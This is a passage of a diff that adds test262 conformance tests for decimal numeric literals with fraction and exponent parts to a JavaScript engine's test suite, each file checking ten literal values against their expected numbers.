+ $ERROR('#6: 6.00 === 6');
+}
+
+//CHECK#7
+if (7.00 !== 7) {
+ $ERROR('#7: 7.00 === 7');
+}
+
+//CHECK#8
+if (8.00 !== 8) {
+ $ERROR('#8: 8.00 === 8');
+}
+
+//CHECK#9
+if (9.00 !== 9) {
+ $ERROR('#9: 9.00 === 9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.2_T3.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.2_T3.js
new file mode 100644
index 000000000..fe293b95b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.2_T3.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. DecimalDigits
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.2_T3.js
+ * @description After DecimalIntegerLiteral. used NoNZeroDigit
+ */
+
+//CHECK#0
+if (0.0 !== 0.0) {
+ $ERROR('#0: 0.0 === 0.0');
+}
+
+//CHECK#1
+if (1.1 !== 1.1) {
+ $ERROR('#1: 1.1 === 1.1');
+}
+
+//CHECK#2
+if (2.2 !== 2.2) {
+ $ERROR('#2: 2.2 === 2.2');
+}
+
+//CHECK#3
+if (3.3 !== 3.3) {
+ $ERROR('#3: 3.3 === 3.3');
+}
+
+//CHECK#4
+if (4.4 !== 4.4) {
+ $ERROR('#4: 4.4 === 4.4');
+}
+
+//CHECK#5
+if (5.5 !== 5.5) {
+ $ERROR('#5: 5.5 === 5.5');
+}
+
+//CHECK#6
+if (6.6 !== 6.6) {
+ $ERROR('#6: 6.6 === 6.6');
+}
+
+//CHECK#7
+if (7.7 !== 7.7) {
+ $ERROR('#7: 7.7 === 7.7');
+}
+
+//CHECK#8
+if (8.8 !== 8.8) {
+ $ERROR('#8: 8..8 === 8.8');
+}
+
+//CHECK#9
+if (9.9 !== 9.9) {
+ $ERROR('#9: 9.9 === 9.9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T1.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T1.js
new file mode 100644
index 000000000..e0a6edba5
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.3_T1.js
+ * @description ExponentPart :: e DecimalDigits
+ */
+
+//CHECK#0
+if (0.e1 !== 0) {
+ $ERROR('#0: 0.e1 === 0');
+}
+
+//CHECK#1
+if (1.e1 !== 10) {
+ $ERROR('#1: 1.e1 === 10');
+}
+
+//CHECK#2
+if (2.e1 !== 20) {
+ $ERROR('#2: 2.e1 === 20');
+}
+
+//CHECK#3
+if (3.e1 !== 30) {
+ $ERROR('#3: 3.e1 === 30');
+}
+
+//CHECK#4
+if (4.e1 !== 40) {
+ $ERROR('#4: 4.e1 === 40');
+}
+
+//CHECK#5
+if (5.e1 !== 50) {
+ $ERROR('#5: 5.e1 === 50');
+}
+
+//CHECK#6
+if (6.e1 !== 60) {
+ $ERROR('#6: 6.e1 === 60');
+}
+
+//CHECK#7
+if (7.e1 !== 70) {
+ $ERROR('#7: 7.e1 === 70');
+}
+
+//CHECK#8
+if (8.e1 !== 80) {
+ $ERROR('#8: 8.e1 === 80');
+}
+
+//CHECK#9
+if (9.e1 !== 90) {
+ $ERROR('#9: 9.e1 === 90');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T2.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T2.js
new file mode 100644
index 000000000..034d2c548
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.3_T2.js
+ * @description ExponentPart :: E DecimalDigits
+ */
+
+//CHECK#0
+if (0.E1 !== 0) {
+ $ERROR('#0: 0.E1 === 0');
+}
+
+//CHECK#1
+if (1.E1 !== 10) {
+ $ERROR('#1: 1.E1 === 10');
+}
+
+//CHECK#2
+if (2.E1 !== 20) {
+ $ERROR('#2: 2.E1 === 20');
+}
+
+//CHECK#3
+if (3.E1 !== 30) {
+ $ERROR('#3: 3.E1 === 30');
+}
+
+//CHECK#4
+if (4.E1 !== 40) {
+ $ERROR('#4: 4.E1 === 40');
+}
+
+//CHECK#5
+if (5.E1 !== 50) {
+ $ERROR('#5: 5.E1 === 50');
+}
+
+//CHECK#6
+if (6.E1 !== 60) {
+ $ERROR('#6: 6.E1 === 60');
+}
+
+//CHECK#7
+if (7.E1 !== 70) {
+ $ERROR('#7: 7.E1 === 70');
+}
+
+//CHECK#8
+if (8.E1 !== 80) {
+ $ERROR('#8: 8.E1 === 80');
+}
+
+//CHECK#9
+if (9.E1 !== 90) {
+ $ERROR('#9: 9.E1 === 90');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T3.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T3.js
new file mode 100644
index 000000000..a60c83d58
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T3.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.3_T3.js
+ * @description ExponentPart :: e -DecimalDigits
+ */
+
+//CHECK#0
+if (0.e-1 !== 0) {
+ $ERROR('#0: 0.e-1 === 0');
+}
+
+//CHECK#1
+if (1.e-1 !== 0.1) {
+ $ERROR('#1: 1.e-1 === 0.1');
+}
+
+//CHECK#2
+if (2.e-1 !== 0.2) {
+ $ERROR('#2: 2.e-1 === 0.2');
+}
+
+//CHECK#3
+if (3.e-1 !== 0.3) {
+ $ERROR('#3: 3.e-1 === 0.3');
+}
+
+//CHECK#4
+if (4.e-1 !== 0.4) {
+ $ERROR('#4: 4.e-1 === 0.4');
+}
+
+//CHECK#5
+if (5.e-1 !== 0.5) {
+ $ERROR('#5: 5.e-1 === 0.5');
+}
+
+//CHECK#6
+if (6.e-1 !== 0.6) {
+ $ERROR('#6: 6.e-1 === 0.6');
+}
+
+//CHECK#7
+if (7.e-1 !== 0.7) {
+ $ERROR('#7: 7.e-1 === 0.7');
+}
+
+//CHECK#8
+if (8.e-1 !== 0.8) {
+ $ERROR('#8: 8.e-1 === 0.8');
+}
+
+//CHECK#9
+if (9.e-1 !== 0.9) {
+ $ERROR('#9: 9.e-1 === 0.9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T4.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T4.js
new file mode 100644
index 000000000..9dc5be7a2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T4.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.3_T4.js
+ * @description ExponentPart :: E -DecimalDigits
+ */
+
+//CHECK#0
+if (0.E-1 !== 0) {
+ $ERROR('#0: 0.E-1 === 0');
+}
+
+//CHECK#1
+if (1.E-1 !== 0.1) {
+ $ERROR('#1: 1.E-1 === 0.1');
+}
+
+//CHECK#2
+if (2.E-1 !== 0.2) {
+ $ERROR('#2: 2.E-1 === 0.2');
+}
+
+//CHECK#3
+if (3.E-1 !== 0.3) {
+ $ERROR('#3: 3.E-1 === 0.3');
+}
+
+//CHECK#4
+if (4.E-1 !== 0.4) {
+ $ERROR('#4: 4.E-1 === 0.4');
+}
+
+//CHECK#5
+if (5.E-1 !== 0.5) {
+ $ERROR('#5: 5.E-1 === 0.5');
+}
+
+//CHECK#6
+if (6.E-1 !== 0.6) {
+ $ERROR('#6: 6.E-1 === 0.6');
+}
+
+//CHECK#7
+if (7.E-1 !== 0.7) {
+ $ERROR('#7: 7.E-1 === 0.7');
+}
+
+//CHECK#8
+if (8.E-1 !== 0.8) {
+ $ERROR('#8: 8.E-1 === 0.8');
+}
+
+//CHECK#9
+if (9.E-1 !== 0.9) {
+ $ERROR('#9: 9.E-1 === 0.9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T5.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T5.js
new file mode 100644
index 000000000..9b2e9b820
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T5.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.3_T5.js
+ * @description ExponentPart :: e +DecimalDigits
+ */
+
+//CHECK#0
+if (0.e+1 !== 0) {
+ $ERROR('#0: 0.e+1 === 0');
+}
+
+//CHECK#1
+if (1.e+1 !== 10) {
+ $ERROR('#1: 1.e+1 === 10');
+}
+
+//CHECK#2
+if (2.e+1 !== 20) {
+ $ERROR('#2: 2.e+1 === 20');
+}
+
+//CHECK#3
+if (3.e+1 !== 30) {
+ $ERROR('#3: 3.e+1 === 30');
+}
+
+//CHECK#4
+if (4.e+1 !== 40) {
+ $ERROR('#4: 4.e+1 === 40');
+}
+
+//CHECK#5
+if (5.e+1 !== 50) {
+ $ERROR('#5: 5.e+1 === 50');
+}
+
+//CHECK#6
+if (6.e+1 !== 60) {
+ $ERROR('#6: 6.e+1 === 60');
+}
+
+//CHECK#7
+if (7.e+1 !== 70) {
+ $ERROR('#7: 7.e+1 === 70');
+}
+
+//CHECK#8
+if (8.e+1 !== 80) {
+ $ERROR('#8: 8.e+1 === 80');
+}
+
+//CHECK#9
+if (9.e+1 !== 90) {
+ $ERROR('#9: 9.e+1 === 90');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T6.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T6.js
new file mode 100644
index 000000000..33c8a84c9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T6.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.3_T6.js
+ * @description ExponentPart :: E +DecimalDigits
+ */
+
+//CHECK#0
+if (0.E+1 !== 0) {
+ $ERROR('#0: 0.E+1 === 0');
+}
+
+//CHECK#1
+if (1.E+1 !== 10) {
+ $ERROR('#1: 1.E+1 === 10');
+}
+
+//CHECK#2
+if (2.E+1 !== 20) {
+ $ERROR('#2: 2.E+1 === 20');
+}
+
+//CHECK#3
+if (3.E+1 !== 30) {
+ $ERROR('#3: 3.E+1 === 30');
+}
+
+//CHECK#4
+if (4.E+1 !== 40) {
+ $ERROR('#4: 4.E+1 === 40');
+}
+
+//CHECK#5
+if (5.E+1 !== 50) {
+ $ERROR('#5: 5.E+1 === 50');
+}
+
+//CHECK#6
+if (6.E+1 !== 60) {
+ $ERROR('#6: 6.E+1 === 60');
+}
+
+//CHECK#7
+if (7.E+1 !== 70) {
+ $ERROR('#7: 7.E+1 === 70');
+}
+
+//CHECK#8
+if (8.E+1 !== 80) {
+ $ERROR('#8: 8.E+1 === 80');
+}
+
+//CHECK#9
+if (9.E+1 !== 90) {
+ $ERROR('#9: 9.E+1 === 90');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T7.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T7.js
new file mode 100644
index 000000000..628581d66
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T7.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.3_T7.js
+ * @description ExponentPart :: e 0
+ */
+
+//CHECK#0
+if (0.e0 !== 0) {
+ $ERROR('#0: 0.e0 === 0');
+}
+
+//CHECK#1
+if (1.e0 !== 1) {
+ $ERROR('#1: 1.e0 === 1');
+}
+
+//CHECK#2
+if (2.e0 !== 2) {
+ $ERROR('#2: 2.e0 === 2');
+}
+
+//CHECK#3
+if (3.e0 !== 3) {
+ $ERROR('#3: 3.e0 === 3');
+}
+
+//CHECK#4
+if (4.e0 !== 4) {
+ $ERROR('#4: 4.e0 === 4');
+}
+
+//CHECK#5
+if (5.e0 !== 5) {
+ $ERROR('#5: 5.e0 === 5');
+}
+
+//CHECK#6
+if (6.e0 !== 6) {
+ $ERROR('#6: 6.e0 === 6');
+}
+
+//CHECK#7
+if (7.e0 !== 7) {
+ $ERROR('#7: 7.e0 === 7');
+}
+
+//CHECK#8
+if (8.e0 !== 8) {
+ $ERROR('#8: 8.e0 === 8');
+}
+
+//CHECK#9
+if (9.e0 !== 9) {
+ $ERROR('#9: 9.e0 === 9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T8.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T8.js
new file mode 100644
index 000000000..b6f249124
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.3_T8.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.3_T8.js
+ * @description ExponentPart :: E 0
+ */
+
+//CHECK#0
+if (0.E0 !== 0) {
+ $ERROR('#0: 0.E0 === 0');
+}
+
+//CHECK#1
+if (1.E0 !== 1) {
+ $ERROR('#1: 1.E0 === 1');
+}
+
+//CHECK#2
+if (2.E0 !== 2) {
+ $ERROR('#2: 2.E0 === 2');
+}
+
+//CHECK#3
+if (3.E0 !== 3) {
+ $ERROR('#3: 3.E0 === 3');
+}
+
+//CHECK#4
+if (4.E0 !== 4) {
+ $ERROR('#4: 4.E0 === 4');
+}
+
+//CHECK#5
+if (5.E0 !== 5) {
+ $ERROR('#5: 5.E0 === 5');
+}
+
+//CHECK#6
+if (6.E0 !== 6) {
+ $ERROR('#6: 6.E0 === 6');
+}
+
+//CHECK#7
+if (7.E0 !== 7) {
+ $ERROR('#7: 7.E0 === 7');
+}
+
+//CHECK#8
+if (8.E0 !== 8) {
+ $ERROR('#8: 8.E0 === 8');
+}
+
+//CHECK#9
+if (9.E0 !== 9) {
+ $ERROR('#9: 9.E0 === 9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T1.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T1.js
new file mode 100644
index 000000000..15ad5b224
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. DecimalDigigts ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.4_T1.js
+ * @description ExponentPart :: e DecimalDigits
+ */
+
+//CHECK#0
+if (0.0e1 !== 0) {
+ $ERROR('#0: 0.0e1 === 0');
+}
+
+//CHECK#1
+if (1.1e1 !== 11) {
+ $ERROR('#1: 1.1e1 === 11');
+}
+
+//CHECK#2
+if (2.2e1 !== 22) {
+ $ERROR('#2: 2.2e1 === 22');
+}
+
+//CHECK#3
+if (3.3e1 !== 33) {
+ $ERROR('#3: 3.3e1 === 33');
+}
+
+//CHECK#4
+if (4.4e1 !== 44) {
+ $ERROR('#4: 4.4e1 === 44');
+}
+
+//CHECK#5
+if (5.5e1 !== 55) {
+ $ERROR('#5: 5.5e1 === 55');
+}
+
+//CHECK#6
+if (6.6e1 !== 66) {
+ $ERROR('#6: 6.e1 === 66');
+}
+
+//CHECK#7
+if (7.7e1 !== 77) {
+ $ERROR('#7: 7.7e1 === 77');
+}
+
+//CHECK#8
+if (8.8e1 !== 88) {
+ $ERROR('#8: 8.8e1 === 88');
+}
+
+//CHECK#9
+if (9.9e1 !== 99) {
+ $ERROR('#9: 9.9e1 === 99');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T2.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T2.js
new file mode 100644
index 000000000..a3a67a30e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. DecimalDigigts ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.4_T2.js
+ * @description ExponentPart :: E DecimalDigits
+ */
+
+//CHECK#0
+if (0.0E1 !== 0) {
+ $ERROR('#0: 0.0E1 === 0');
+}
+
+//CHECK#1
+if (1.1E1 !== 11) {
+ $ERROR('#1: 1.1E1 === 11');
+}
+
+//CHECK#2
+if (2.2E1 !== 22) {
+ $ERROR('#2: 2.2E1 === 22');
+}
+
+//CHECK#3
+if (3.3E1 !== 33) {
+ $ERROR('#3: 3.3E1 === 33');
+}
+
+//CHECK#4
+if (4.4E1 !== 44) {
+ $ERROR('#4: 4.4E1 === 44');
+}
+
+//CHECK#5
+if (5.5E1 !== 55) {
+ $ERROR('#5: 5.5E1 === 55');
+}
+
+//CHECK#6
+if (6.6E1 !== 66) {
+ $ERROR('#6: 6.E1 === 66');
+}
+
+//CHECK#7
+if (7.7E1 !== 77) {
+ $ERROR('#7: 7.7E1 === 77');
+}
+
+//CHECK#8
+if (8.8E1 !== 88) {
+ $ERROR('#8: 8.8E1 === 88');
+}
+
+//CHECK#9
+if (9.9E1 !== 99) {
+ $ERROR('#9: 9.9E1 === 99');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T3.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T3.js
new file mode 100644
index 000000000..fef945e47
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T3.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. DecimalDigigts ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.4_T3.js
+ * @description ExponentPart :: e -DecimalDigits
+ */
+
+//CHECK#0
+if (0.0e-1 !== 0) {
+ $ERROR('#0: 0.0e-1 === 0');
+}
+
+//CHECK#1
+if (1.1e-1 !== 0.11) {
+ $ERROR('#1: 1.1e-1 === 0.11');
+}
+
+//CHECK#2
+if (2.2e-1 !== 0.22) {
+ $ERROR('#2: 2.2e-1 === 0.22');
+}
+
+//CHECK#3
+if (3.3e-1 !== 0.33) {
+ $ERROR('#3: 3.3e-1 === 0.33');
+}
+
+//CHECK#4
+if (4.4e-1 !== 0.44) {
+ $ERROR('#4: 4.4e-1 === 0.44');
+}
+
+//CHECK#5
+if (5.5e-1 !== 0.55) {
+ $ERROR('#5: 5.5e-1 === 0.55');
+}
+
+//CHECK#6
+if (6.6e-1 !== 0.66) {
+ $ERROR('#6: 6.e-1 === 0.66');
+}
+
+//CHECK#7
+if (7.7e-1 !== 0.77) {
+ $ERROR('#7: 7.7e-1 === 0.77');
+}
+
+//CHECK#8
+if (8.8e-1 !== 0.88) {
+ $ERROR('#8: 8.8e-1 === 0.88');
+}
+
+//CHECK#9
+if (9.9e-1 !== 0.99) {
+ $ERROR('#9: 9.9e-1 === 0.99');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T4.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T4.js
new file mode 100644
index 000000000..f68532fd8
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T4.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. DecimalDigigts ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.4_T4.js
+ * @description ExponentPart :: E -DecimalDigits
+ */
+
+//CHECK#0
+if (0.0E-1 !== 0) {
+ $ERROR('#0: 0.0E-1 === 0');
+}
+
+//CHECK#1
+if (1.1E-1 !== 0.11) {
+ $ERROR('#1: 1.1E-1 === 0.11');
+}
+
+//CHECK#2
+if (2.2E-1 !== 0.22) {
+ $ERROR('#2: 2.2E-1 === 0.22');
+}
+
+//CHECK#3
+if (3.3E-1 !== 0.33) {
+ $ERROR('#3: 3.3E-1 === 0.33');
+}
+
+//CHECK#4
+if (4.4E-1 !== 0.44) {
+ $ERROR('#4: 4.4E-1 === 0.44');
+}
+
+//CHECK#5
+if (5.5E-1 !== 0.55) {
+ $ERROR('#5: 5.5E-1 === 0.55');
+}
+
+//CHECK#6
+if (6.6E-1 !== 0.66) {
+ $ERROR('#6: 6.E-1 === 0.66');
+}
+
+//CHECK#7
+if (7.7E-1 !== 0.77) {
+ $ERROR('#7: 7.7E-1 === 0.77');
+}
+
+//CHECK#8
+if (8.8E-1 !== 0.88) {
+ $ERROR('#8: 8.8E-1 === 0.88');
+}
+
+//CHECK#9
+if (9.9E-1 !== 0.99) {
+ $ERROR('#9: 9.9E-1 === 0.99');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T5.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T5.js
new file mode 100644
index 000000000..161105928
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T5.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. DecimalDigigts ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.4_T5.js
+ * @description ExponentPart :: e +DecimalDigits
+ */
+
+//CHECK#0
+if (0.0e+1 !== 0) {
+ $ERROR('#0: 0.0e+1 === 0');
+}
+
+//CHECK#1
+if (1.1e+1 !== 11) {
+ $ERROR('#1: 1.1e+1 === 11');
+}
+
+//CHECK#2
+if (2.2e+1 !== 22) {
+ $ERROR('#2: 2.2e+1 === 22');
+}
+
+//CHECK#3
+if (3.3e+1 !== 33) {
+ $ERROR('#3: 3.3e+1 === 33');
+}
+
+//CHECK#4
+if (4.4e+1 !== 44) {
+ $ERROR('#4: 4.4e+1 === 44');
+}
+
+//CHECK#5
+if (5.5e+1 !== 55) {
+ $ERROR('#5: 5.5e+1 === 55');
+}
+
+//CHECK#6
+if (6.6e+1 !== 66) {
+ $ERROR('#6: 6.e+1 === 66');
+}
+
+//CHECK#7
+if (7.7e+1 !== 77) {
+ $ERROR('#7: 7.7e+1 === 77');
+}
+
+//CHECK#8
+if (8.8e+1 !== 88) {
+ $ERROR('#8: 8.8e+1 === 88');
+}
+
+//CHECK#9
+if (9.9e+1 !== 99) {
+ $ERROR('#9: 9.9e+1 === 99');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T6.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T6.js
new file mode 100644
index 000000000..5d28f6609
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T6.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. DecimalDigigts ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.4_T6.js
+ * @description ExponentPart :: E +DecimalDigits
+ */
+
+//CHECK#0
+if (0.0E+1 !== 0) {
+ $ERROR('#0: 0.0E+1 === 0');
+}
+
+//CHECK#1
+if (1.1E+1 !== 11) {
+ $ERROR('#1: 1.1E+1 === 11');
+}
+
+//CHECK#2
+if (2.2E+1 !== 22) {
+ $ERROR('#2: 2.2E+1 === 22');
+}
+
+//CHECK#3
+if (3.3E+1 !== 33) {
+ $ERROR('#3: 3.3E+1 === 33');
+}
+
+//CHECK#4
+if (4.4E+1 !== 44) {
+ $ERROR('#4: 4.4E+1 === 44');
+}
+
+//CHECK#5
+if (5.5E+1 !== 55) {
+ $ERROR('#5: 5.5E+1 === 55');
+}
+
+//CHECK#6
+if (6.6E+1 !== 66) {
+ $ERROR('#6: 6.E+1 === 66');
+}
+
+//CHECK#7
+if (7.7E+1 !== 77) {
+ $ERROR('#7: 7.7E+1 === 77');
+}
+
+//CHECK#8
+if (8.8E+1 !== 88) {
+ $ERROR('#8: 8.8E+1 === 88');
+}
+
+//CHECK#9
+if (9.9E+1 !== 99) {
+ $ERROR('#9: 9.9E+1 === 99');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T7.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T7.js
new file mode 100644
index 000000000..b5ebe39d4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T7.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. DecimalDigigts ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.4_T7.js
+ * @description ExponentPart :: e 0
+ */
+
+//CHECK#0
+if (0.0e0 !== 0.0) {
+ $ERROR('#0: 0.0e0 === 0.0');
+}
+
+//CHECK#1
+if (1.1e0 !== 1.1) {
+ $ERROR('#1: 1.1e0 === 1.1');
+}
+
+//CHECK#2
+if (2.2e0 !== 2.2) {
+ $ERROR('#2: 2.2e0 === 2.2');
+}
+
+//CHECK#3
+if (3.3e0 !== 3.3) {
+ $ERROR('#3: 3.3e0 === 3.3');
+}
+
+//CHECK#4
+if (4.4e0 !== 4.4) {
+ $ERROR('#4: 4.4e0 === 4.4');
+}
+
+//CHECK#5
+if (5.5e0 !== 5.5) {
+ $ERROR('#5: 5.5e0 === 5.5');
+}
+
+//CHECK#6
+if (6.6e0 !== 6.6) {
+ $ERROR('#6: 6.e0 === 6.6');
+}
+
+//CHECK#7
+if (7.7e0 !== 7.7) {
+ $ERROR('#7: 7.7e0 === 7.7');
+}
+
+//CHECK#8
+if (8.8e0 !== 8.8) {
+ $ERROR('#8: 8.8e0 === 8.8');
+}
+
+//CHECK#9
+if (9.9e0 !== 9.9) {
+ $ERROR('#9: 9.9e0 === 9.9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T8.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T8.js
new file mode 100644
index 000000000..36b643364
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.4_T8.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. DecimalDigigts ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.4_T8.js
+ * @description ExponentPart :: E 0
+ */
+
+//CHECK#0
+if (0.0E0 !== 0.0) {
+ $ERROR('#0: 0.0E0 === 0.0');
+}
+
+//CHECK#1
+if (1.1E0 !== 1.1) {
+ $ERROR('#1: 1.1E0 === 1.1');
+}
+
+//CHECK#2
+if (2.2E0 !== 2.2) {
+ $ERROR('#2: 2.2E0 === 2.2');
+}
+
+//CHECK#3
+if (3.3E0 !== 3.3) {
+ $ERROR('#3: 3.3E0 === 3.3');
+}
+
+//CHECK#4
+if (4.4E0 !== 4.4) {
+ $ERROR('#4: 4.4E0 === 4.4');
+}
+
+//CHECK#5
+if (5.5E0 !== 5.5) {
+ $ERROR('#5: 5.5E0 === 5.5');
+}
+
+//CHECK#6
